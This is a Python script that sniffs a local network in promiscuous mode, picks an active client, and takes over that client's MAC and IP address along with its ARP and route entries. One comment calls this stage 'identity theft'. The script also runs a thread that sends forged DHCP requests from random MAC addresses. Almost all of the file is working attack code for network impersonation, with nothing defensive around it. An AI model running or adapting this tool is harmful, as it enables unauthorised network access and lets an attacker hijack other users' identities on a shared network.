#!/usr/bin/env python

# net imports
import struct
import sys, os, errno, random, traceback
import socket, fcntl, select
import binascii
# thread imports
try:
	import Queue
	PYQUEUE=Queue
except ImportError:
	import queue
	PYQUEUE=queue
import threading
import time
# signalling
import signal
# run external cmds
import subprocess
# py ping impl
try:
	from ping import ICMP
	ICMP_AVAIL = True
	ICMP_MAXFAIL = 5
except ImportError:
	ICMP_AVAIL = False

MIN_INITPKG = 30
MAX_INITIME = 30
MAX_PKGCAPT = 20

ETH_PROTO_ALL = 0x0003
ETH_IP        = 0x0800
ETH_ARP       = 0x0806
IP_TCP        = 0x06
IP_UDP        = 0x11


import ctypes
class ifreq(ctypes.Structure):
	IFF_PROMISC = 0x100
	SIOCGIFFLAGS = 0x8913
	SIOCSIFFLAGS = 0x8914
	_fields_ = [("ifr_ifrn", ctypes.c_char * 16),
		    ("ifr_flags", ctypes.c_short)
		   ]

class RawPkgBase(threading.Thread):
	def __init__(self, netif, queueTuples):
		super(RawPkgBase, self).__init__()
		self._nIface = netif
		self._eActive = threading.Event()
		self._qTuples = queueTuples
		self._lastErr = None

	def enable(self):
		self._eActive.set()

	def disable(self):
		self._eActive.clear()

	def isEnabled(self):
		return self._eActive.isSet()

	def getLastErr(self):
		errmsg = str(self._lastErr)
		self._lastErr = None
		return errmsg

	def hasLastErr(self):
		return True if self._lastErr is not None else False

class RawPkgSender(RawPkgBase):
	def __init__(self, netif, queueTuples):
		super(RawPkgSender, self).__init__(netif, queueTuples)
		self.__openSock(netif)

	def __openSock(self, netif):
		self.__rSocket = socket.socket(socket.PF_PACKET,socket.SOCK_RAW,socket.htons(ETH_PROTO_ALL))

	def __closeSock(self):
		self.__rSocket.close()
		del self.__rSocket

	def reOpen(self):
		self.__closeSock()
		self.__openSock(self._nIface)

	def run(self):
		self.pkg_send_loop()

	def genRandomMac(self, onlyValid=True):
		macAddr = ''.join(random.choice("1234567890abcdef") for a in range(12))
		if onlyValid:
			macAddr = '{0:x}'.format( int(macAddr, 16) & 0xFCFFFFFFFFFF )
		return macAddr

	def __randomByte(self, minByte, maxByte):
		return random.randrange(minByte , maxByte) & 0xFF

	def genRandomIP(self, ipRange=( (1,255), (1,255), (1,255), (1,255) )):
		return '.'.join([ str(self.__randomByte(ir[0],ir[1])) for ir in ipRange ])

	def genPrivateIP(self, which=None):
		subnets = {
			0: self.genRandomIP( ((10,11),   (0,255),   (0,255),(1,255)) ), # 10.0.0.1    - 10.254.254.254
			1: self.genRandomIP( ((172,173), (16,32),   (0,255),(1,255)) ), # 172.16.0.1  - 172.31.254.254
			2: self.genRandomIP( ((192,193), (168,169), (0,255),(1,255)) ) # 192.168.0.1 - 192.168.254.254
		}
		return subnets.get(random.randrange(0,3)) if which is None \
			else subnets.get(which, subnets.get(0))

	def genRandomID(self, length):
		return ''.join(random.choice("1234567890abcdef") for a in range(length))

	def genEtherPkg(self, srcMac, dstMac, ethProto, data=None):
		return struct.pack("!6s6sH", binascii.unhexlify(dstMac), binascii.unhexlify(srcMac), int(ethProto)) \
			if data is None else struct.pack("!6s6sH"+str(len(data))+"s", binascii.unhexlify(dstMac), binascii.unhexlify(srcMac), int(ethProto), data)

	def genArpPkg(self, srcMac, srcIP, dstMac, dstIP, arpMac=None):
		if arpMac is None:
			arpSrcMac = srcMac
			arpDstMac = 'ffffffffffff'
		else:
			arpSrcMac = arpMac
			arpDstMac = dstMac

		return self.genEtherPkg(srcMac, dstMac, ETH_ARP) + struct.pack("!HHBBH6s4s6s4s"
			, 0x1     # HardwareAdr
			, ETH_IP  # Protocol
			, 0x6     # HardwareAddrSize
			, 0x4     # ProtocolAddrSize
			, 0x1 if arpMac is not None else 0x2 # REUQEST or REPLY
			, binascii.unhexlify(arpSrcMac)
			, socket.inet_aton(srcIP)
			, binascii.unhexlify(arpDstMac)
			, socket.inet_aton(dstIP))

	def genIpPkg(self, srcMac, dstMac, srcIP, dstIP, proto, data):
		ethPkg = self.genEtherPkg(srcMac, dstMac, ETH_IP)
		ip4Pkg = struct.pack("!BBHHHBBH4s4s", (0b0100) << 4 | 0x5, 0x00, 20+len(data) # Version|IHL/TOS/TotalLen
			, 0x0000, 0x0000, 0x80, IP_UDP, 0x0000 # Ident/Flags|FragmentOff/TTL/Protocol/HdrChksm
			, socket.inet_aton(srcIP) # SourceIP
			, socket.inet_aton(dstIP)) # DestinationIP
		# calc ip hdr checksum
		added = 0
		# add all 16 bit fields
		for idx in range(10):
			added = added + struct.unpack("!H", str(ip4Pkg[2*idx:2*idx+2]))[0]
		# add 8 bit carry (if exists) to 16 Bit value
		while (added & 0xFF0000) > 0:
			added = (added & 0x00FFFF) + ((added & 0xFF0000) >> 16)
		# bitwise negation with xor
		added = added ^ 0xFFFF
		# insert checksum in pkg buffer
		ip4Pkg = ip4Pkg[0:10] + struct.pack("!H", added) + ip4Pkg[12:] + data
		return ethPkg + ip4Pkg

	def genUdpPkg(self, srcMac, dstMac, srcIP, dstIP, srcPort, dstPort, data):
		udplen = 8 + len(data)
		udpPkg = struct.pack("!HHHH", srcPort, dstPort, udplen, 0x0000) + str(data)
		srcIpL, dstIpL = struct.unpack("!L", socket.inet_aton(srcIP)) + struct.unpack("!L", socket.inet_aton(dstIP))
		chksm = long(0)
		# add ip pseudo header data (srcIP, dstIP, protocol, totalLength(?))
		chksm = chksm + (srcIpL & 0x0000FFFF) + ((srcIpL & 0xFFFF0000) >> 16) + \
				(dstIpL & 0x0000FFFF) + ((dstIpL & 0xFFFF0000) >> 16) + \
				(IP_UDP & 0xFF) + (udplen & 0xFFFF)
		# add all udp header + udp data words
		isEvenLen = True if udplen%2 == 0 else False
		for idx in range(udplen/2) if isEvenLen else range((udplen-1)/2):
			chksm = chksm + struct.unpack("!H", str(udpPkg[idx*2:2*idx+2]))[0]
		# if datagram length is uneven, add the last byte
		if not isEvenLen:
			chksm = chksm + (struct.unpack("!B", udpPkg[(idx+1)*2])[0] << 8)
		# add 8 bit carry (if exists) to 16 Bit value
		while (chksm & 0xFFFF0000) > 0:
			chksm = (chksm & 0x0000FFFF) + ((chksm & 0xFFFF0000) >> 16)
		# insert checksum in pkg buffer
		if chksm != 0xFFFF:
			chksm = chksm ^ 0xFFFF
		udpPkg = udpPkg[0:6] + struct.pack("!H", chksm) + udpPkg[8:]
		return self.genIpPkg(srcMac, dstMac, srcIP, dstIP, IP_UDP, udpPkg)

	def genDhcpPkg(self, srcMac, dstMac, op=0x01, xid=None, secs=None, rqIP=None):
		dhcpPkg = struct.pack("!BBBBIHHIIII16s192sI13s2s4s15sB25s", 0x01, 0x01, 0x06, 0x00 # op/htype/hlen/hops
			, int(self.genRandomID(8), 16) if xid is None else int(xid[:8], 16) # xid
			, 0x0000 if secs is None else (int(secs) & 0xFFFF) # secs
			, 0x0000 # flags
			, 0x00000000, 0x00000000, 0x00000000, 0x00000000 # client ip addr/your ip addr/server ip addr/relay ip addr
			, binascii.unhexlify(srcMac) + '\x00'*10 # client hardware addr
			, '\x00'*192, 0x63825363 # 192 zeros/DHCP-MAGIC
			, '\x35\x01'+chr(op & 0xFF)+'\x0c\x08' + self.genRandomID(8) # opcode/LEN/DHCP-TYPE/opcode/LEN/HOSTNAME
			, '\x32\x04', socket.inet_aton(rqIP) if rqIP is not None else socket.inet_aton(self.genPrivateIP()) # requestIP/len/addr
			, '\x37\x0d\x01\x1c\x02\x03\x0f\x06\x77\x0c\x2c\x2f\x1a\x79\x2a' # parameter request list
			, 0xFF # dhcp end option
			, '\x00'*25) # padding
		return self.genUdpPkg(srcMac, dstMac, '0.0.0.0', '255.255.255.255', 68, 67, dhcpPkg)

	def pkg_send_loop(self):
		# bind to a specific network interface
		self.__rSocket.bind((self._nIface, 0))

		# set capture event
		while not self._eActive.isSet():
                        time.sleep(0.1)
		while self._eActive.isSet():
			time.sleep(1.0)
			try:
				#pkg = self.genArpPkg('0021e9e6b9c0', '172.29.1.153', 'd4ae52cfc04c', '172.29.1.166', self.genRandomMac())
				#pkg = self.genUdpPkg('0021e9e6b9c0', 'ffffffffffff', '127.0.0.1', '255.255.255.255', 25, 6667, 'AAAAAACCD')
				xid = self.genRandomID(8)
				src = self.genRandomMac()
				#src = '54271ebe428b'
				rip = self.genPrivateIP(1)
				#rip = '172.29.15.145'
				pkg = self.genDhcpPkg(src, 'ffffffffffff', 0x01, xid, 0, rip)
				self.__rSocket.send(pkg)
				time.sleep(3)
				pkg = self.genDhcpPkg(src, 'ffffffffffff', 0x01, xid, 3, rip)
				self.__rSocket.send(pkg)
				time.sleep(1)
			except Exception as e:
				exc_type, exc_obj, exc_tb = sys.exc_info()
				fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
				self._lastErr = str(fname) + '(' + str(exc_tb.tb_lineno) + '): ' + str(e)
				continue

class RawPkgCapturer(RawPkgBase):
	CAPTURE_PROTOCOLS_ETH = [ ETH_IP  # ETHNERNET_IP
				, ETH_ARP # ETHNERNET_ARP
				]
	CAPTURE_PROTOCOLS_IP4 = [ 1       # ICMP
				, 2       # IGMP
				, IP_TCP  # TCP
				, 8       # EGP
				, 9       # IGP
				, 11      # NVP-2
				, IP_UDP  # UDP
				]

	def __openSock(self, netif):
		# packet based raw socket
		self.__rSocket = socket.socket(socket.PF_PACKET,socket.SOCK_RAW,socket.htons(ETH_PROTO_ALL))
		# enable promisc mode
		ifr = ifreq()
		ifr.ifr_ifrn = netif.encode()
		ret = fcntl.ioctl(self.__rSocket.fileno(), ifr.SIOCGIFFLAGS, ifr) # G for GET Socket FLAGS
		if ret != 0:
			raise Exception('SIOCGIFFLAGS failed')
		ifr.ifr_flags |= ifr.IFF_PROMISC
		ret = fcntl.ioctl(self.__rSocket.fileno(), ifr.SIOCSIFFLAGS, ifr) # S for SET Socket FLAGS
		if ret != 0:
			raise Exception('SIOCSIFFLAGS failed')
		del ifr

	def __closeSock(self):
		self.__rSocket.close()
		del self.__rSocket
		self.__rSocket = None

	def __init__(self, netInterface, queueTuples):
		super(RawPkgCapturer, self).__init__(netInterface, queueTuples)
		self.__openSock(netInterface)

	def __del__(self):
		self.__closeSock()
		del self._nIface, self._eActive

	def reOpen(self):
		self.__closeSock()
		self.__openSock(self._nIface)

	def run(self):
		self.pkg_capture_loop()

	def getIP(self):
		return socket.inet_ntoa(fcntl.ioctl(self.__rSocket.fileno(),
			  0x8915, # SIOCGIFADDR
			  struct.pack('256s', self._nIface[:15].encode())
			)[20:24])

	def getHW(self):
		info = fcntl.ioctl(self.__rSocket.fileno(),
			  0x8927,
			  struct.pack('256s', self._nIface[:15]))
		return ':'.join(['%02x' % ord(char) for char in info[18:24]])

	def pkg_capture_loop(self):
		# bind to a specific network interface
		self.__rSocket.bind((self._nIface, 0))
		self.__rSocket.setblocking(False)

		# set capture event
		while not self._eActive.isSet():
			time.sleep(0.1)
		while self._eActive.isSet():
			try:
				# check if socket data available
				if not select.select([self.__rSocket], [], [], 1)[0]:
					continue
				receivedPacket = self.__rSocket.recv(2048)
			except Exception as e:
				self._lastErr = str(e)
				continue

			# Ethernet Header...
			ethBuf   = receivedPacket[0:14]
			ethHdr   = struct.unpack("!6s6sH",ethBuf)
			dstMac   = binascii.hexlify(ethHdr[0])
			srcMac   = binascii.hexlify(ethHdr[1])
			ethProto = ethHdr[2]

			# look for some client->AP traffic (TCP/UDP/IGMP)
			if ethProto not in self.CAPTURE_PROTOCOLS_ETH:
				continue

			# IP Header... 
			ipBuf    = receivedPacket[14:34]
			ipHdr    = struct.unpack("!9sB2s4s4s",ipBuf)
			dstIP    = socket.inet_ntoa(ipHdr[4])
			srcIP    = socket.inet_ntoa(ipHdr[3])
			ipProto  = ipHdr[1]

			# add it to the queue
			self._qTuples.put( (srcMac, srcIP, dstMac, dstIP, ethProto, ipProto) )


def runCmd(cmd, verbose=False):
	if verbose:
		sys.stdout.write("\r`"+cmd+"`\n")
		sys.stdout.flush()
	realcmd = cmd.split(' ')
	proc = subprocess.Popen(realcmd, shell=False, stdout=subprocess.PIPE)
	while proc.poll() is None:
		time.sleep(0.1)
	return proc.poll()

def readProcArp():
	arpdict = dict()
	with open('/proc/net/arp') as arpfile:
		first = True
		for line in arpfile:
			if first is True:
				first = False
				continue
			line = line.strip().split()
			arpdict[line[0]] = (line[3], line[5])
	return arpdict

def readProcRoute():
	routelist = list()
	with open('/proc/net/route') as routefile:
		first = True
		for line in routefile:
			if first is True:
				first = False
				continue
			line = line.strip().split()
			routelist.append(( socket.inet_ntoa(struct.pack("<L", int(line[2], 16))), line[0], socket.inet_ntoa(struct.pack("<L", int(line[1], 16))), socket.inet_ntoa(struct.pack("<L", int(line[7], 16))) ))
	return routelist

def getGW(arpDict, routeList):
	gwTpl = None
	if arpDict is None or routeList is None:
		return None
	for route in routeList:
		(gw, netif, net, mask) = route
		if net == '0.0.0.0' and mask == '0.0.0.0':
			gwTpl = (netif, gw)
			break
	if gwTpl:
		arp = arpDict[gwTpl[1]]
		gwTpl += (arp[0],)
	return gwTpl

def HwToHwColon(nonColonHwStr):
	return ':'.join(a+b for a,b in zip(nonColonHwStr[::2], nonColonHwStr[1::2]))

def HwColonToHw(colonHwStr):
	return ''.join(a for a in colonHwStr.split(':'))

def printColumns():
	sys.stdout.write("\r\n[ "+str("iterations").rjust(10)+" | "
			       +str("packages").rjust(10)  +" | "
			       +str("icmp").rjust(5)       +" | "
			       +str("arp").rjust(5)        +" | "
			       +str("hosts").rjust(5)      +" | "
			       +str("route").rjust(5)      +" ] [ "
			       +str("hwAddr").rjust(17)    +" | "
			       +str("ipAddr").rjust(17)    +" ] [ "
			       +str("hwAddrGW").rjust(17)  +" | "
			       +str("ipAddrGW").rjust(17)  +" ]\n")
	sys.stdout.flush()

def printStatus(tuples):
	sys.stdout.write("\r[ %10d | %10d | %5d | %5d | %5d | %5d ] [ %17s | %17s ] [ %17s | %17s ]" % tuples)
	sys.stdout.flush()

def queuePkgToDict(pkgQueue, hostDict, queueTimeout = 0.5):
	(srcMac, srcIP, dstMac, dstIP, ethProto, ipProto) = pkgQueue.get(True, queueTimeout)
	srcMacCol = HwToHwColon(srcMac)
	dstMacCol = HwToHwColon(dstMac)
	if (srcMac,dstMac) not in hostDict:
		hostDict[(srcMac,dstMac)] = (srcIP, dstIP, ethProto, ipProto, 1)
		return (True, srcMac, dstMac)
	else:
		hostDict[(srcMac,dstMac)] = (srcIP, dstIP, ethProto, ipProto, hostDict[(srcMac,dstMac)][4]+1)
		return (False, srcMac, dstMac)

def hostDictToList(hostDict):
	retList = list()
	for key, value in hostDict.iteritems():
		temp = list(value)
		temp.insert(0, key)
		temp.insert(1, (temp[1], temp[2]))
		del temp[2:4]
		retList.append( tuple(temp) )
	return retList

def ipAdrInNet(ipAddrStr, netStr):
	ipAddr = struct.unpack('L', socket.inet_aton(ipAddrStr))[0]
	netaddr, bits = netStr.split('/')
	netmask = struct.unpack('L', socket.inet_aton(netaddr))[0] & ((2<<int(bits)-1)-1)
	return ipAddr & netmask == netmask

def hostIsPrivateSubnet(ipAddr):
	# check if ipAddr is in a private subnet
	return True if (ipAdrInNet(ipAddr, '10.0.0.0/8')
		or ipAdrInNet(ipAddr, '172.16.0.0/12')
		or ipAdrInNet(ipAddr, '192.168.0.0/16')) else False

def calcHostScore(hostList, myHwAddr):
	sorted(hostList, key=lambda host: host[4], reverse=True)
	hwAddr = HwColonToHw(myHwAddr)
	scoreList = list()
	for host in hostList:
		( (srcMac,dstMac), (srcIP,dstIP), ethProto, ipProto, pkgCount ) = host
		score = 10.0
		if srcMac == hwAddr or dstMac == hwAddr:
			continue
		if srcMac == 'ffffffffffff' or dstMac == 'ffffffffffff':
			score = score/4.0
		if ethProto == ETH_ARP:
			score = score/3.0
		if ipProto not in [IP_UDP, IP_TCP]:
			score = score/1.5
		if (hostIsPrivateSubnet(srcIP) ^ hostIsPrivateSubnet(dstIP)) is True:
			score = score*2.0
		else:
			score = score/2.0
		temp = list(host)
		temp.append(score * host[4])
		scoreList.append(tuple(temp))
	if len(scoreList) == 0:
		return None
	scoreList = sorted(scoreList, key=lambda host: host[5], reverse=True)
	( (srcMac,dstMac), (srcIP,dstIP), ethProto, ipProto, pkgCount, score ) = scoreList[0]
	print
	print(scoreList)
	if hostIsPrivateSubnet(srcIP) is True:
		return (dstMac, dstIP, srcMac, srcIP, score) if dstMac != 'ffffffffffff' else None
	elif hostIsPrivateSubnet(dstIP) is True:
		return (srcMac, srcIP, dstMac, dstIP, score) if srcMac != 'ffffffffffff' else None
	return None


# check for root
if os.geteuid() != 0:
	raise OSError(errno.EACCES, 'Permission denied. Only root can create RAW sockets.')
# check for ICMP class
if ICMP_AVAIL:
	icmp = ICMP()
else:
	sys.stderr.write('WARNING: Python ping library containing (ICMP class) missing\n')
	sys.stderr.flush()

# start pkg capture thread
_pkgCaptureTuples = PYQUEUE.Queue()
_pkgSenderTuples  = PYQUEUE.Queue()
netif = 'eth0'
if len(sys.argv) == 2:
	netif = sys.argv[1]
print('> listen on interface', netif)
rps = RawPkgSender(netif, _pkgSenderTuples)
rps.daemon = False
# fire up our sender thread
rps.start()
rps.enable()

rpc = RawPkgCapturer(netif, _pkgCaptureTuples)
rpc.daemon = False
# fire up our capture thread
rpc.start()

# sighandler
def sighandler(signum, frame):
	print('Signal(' + str(signum) + ')')
	rpc.disable()
# init signal handler
signal.signal(signal.SIGINT, sighandler)

# run main loop
pkgCount = 0
itrCount = 0
icmCount = 0
lastTime = time.time()
doInitia = True
printHdr = True
hostDict = dict()
rpc.enable()
print('> mainloop')
CMD_MAXTRIES=5
while rpc.isEnabled():
	try:
		if rpc.hasLastErr():
			sys.stderr.write('RPC-ERROR: ' + rpc.getLastErr() + '\n')
			doInitia = True

		"""
		    do initial packet capturing (basic information about the target network)
		"""
		if doInitia:
			doInitia = False
			endTime = float(time.time() + float(MAX_INITIME))
			initPkg = 0
			tries=CMD_MAXTRIES
			while tries > 0:
				CMD="ifconfig %s 0.0.0.0 up hw ether %s"
				if runCmd(CMD % (netif, HwToHwColon(rps.genRandomMac())), True) is 0:
					break
				CMD="ifconfig %s 0.0.0.0 up"
				if runCmd(CMD % (netif), True) is 0:
					break
				tries -= 1
			rps.reOpen()
			rpc.reOpen()
			sys.stdout.write('\rgathering traffic (' + str(MIN_INITPKG) + ' pkgs/' + str(MAX_INITIME) + 's)')
			while (rpc.isEnabled() and initPkg < MIN_INITPKG) and (time.time() < endTime):
				try:
					(isFirst, srcMac, dstMac) = queuePkgToDict(_pkgCaptureTuples, hostDict)
					if isFirst:
						sys.stdout.write('*')
					else:
						sys.stdout.write('#')
					initPkg = initPkg+1
				except PYQUEUE.Empty:
					sys.stdout.write('.')
				sys.stdout.flush()
			hostList = hostDictToList(hostDict)
			topHost = calcHostScore(hostList, rpc.getHW())
			if topHost is None:
				sys.stdout.write('No Score available..\n')
				doInitia = True
				continue
			else:
				sys.stdout.write('\rTop Score: ' + str(topHost) + '\n')
				runCmd("ifconfig " + netif + " " + topHost[1] + " up hw ether " + topHost[0], True)
				runCmd("arp -s " + topHost[3] + " " + topHost[2], True)
				runCmd("route add default gw " + topHost[3], True)
				rpc.reOpen()

		"""
		    get some system/network information such as /proc/net/{arp|route} & socket{hw|ip}address
		"""
		ipAddr = rpc.getIP()
		hwAddr = rpc.getHW()
		arpTbl = readProcArp()
		rouTbl = readProcRoute()
		gwTupl = getGW(arpTbl, rouTbl)
		if gwTupl is None:
			doInitia = True
			continue

		"""
		    capture packets for identity theft
		"""
		try:
			curPkgs = 0
			while rpc.isEnabled():
				(isFirst, srcMac, dstMac) = queuePkgToDict(_pkgCaptureTuples, hostDict)
				(srcIP, dstIP, ethProto, ipProto, pkgRecv) = hostDict[(srcMac,dstMac)]
				if srcMac == hwAddr or dstMac == hwAddr:
					if not srcIP == ipAddr and not dstIP == ipAddr:
						sys.stdout.write('\rNEW IP!!!\n')
						sys.stdout.flush()
						doInitia = True
						break
				pkgCount = pkgCount+1
				curPkgs = curPkgs+1
				if curPkgs >= MAX_PKGCAPT:
					break
		except PYQUEUE.Empty:
			if ICMP_AVAIL and time.time()-lastTime > 1.0:
				lastTime = time.time()
				icmpFailed = 0
				while icmp.do_one("8.8.8.8", 0.5 + icmpFailed/2) is None:
					icmpFailed = icmpFailed+1
					sys.stdout.write('ICMP failed (' + str(icmpFailed) + '/' + str(ICMP_MAXFAIL) + ')\n')
					sys.stdout.flush()
					if icmpFailed == ICMP_MAXFAIL:
						doInitia = True
						break
				if doInitia:
					continue
				icmCount = icmCount+1

		"""
		    print information status bar
		"""
		if printHdr:
			printHdr = False
			printColumns()
		itrCount = itrCount+1
		printStatus( (itrCount, pkgCount, icmCount, len(arpTbl), len(rouTbl), len(hostDict), hwAddr, ipAddr, gwTupl[1], gwTupl[2]) )
	except KeyboardInterrupt:
		printHdr = True
	except IOError as e:
		doInitia = True
	except Exception as e:
		exc_type, exc_obj, exc_tb = sys.exc_info()
		fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
		sys.stderr.write("ERROR(" + str(exc_type) + "): " + str(e) + " (" + str(fname) + ": " + str(exc_tb.tb_lineno) + ")\n")
		sys.stderr.flush()
		traceback.print_tb(exc_tb)

rps.disable()
rps.join()
rpc.disable()
rpc.join()
del rps, rpc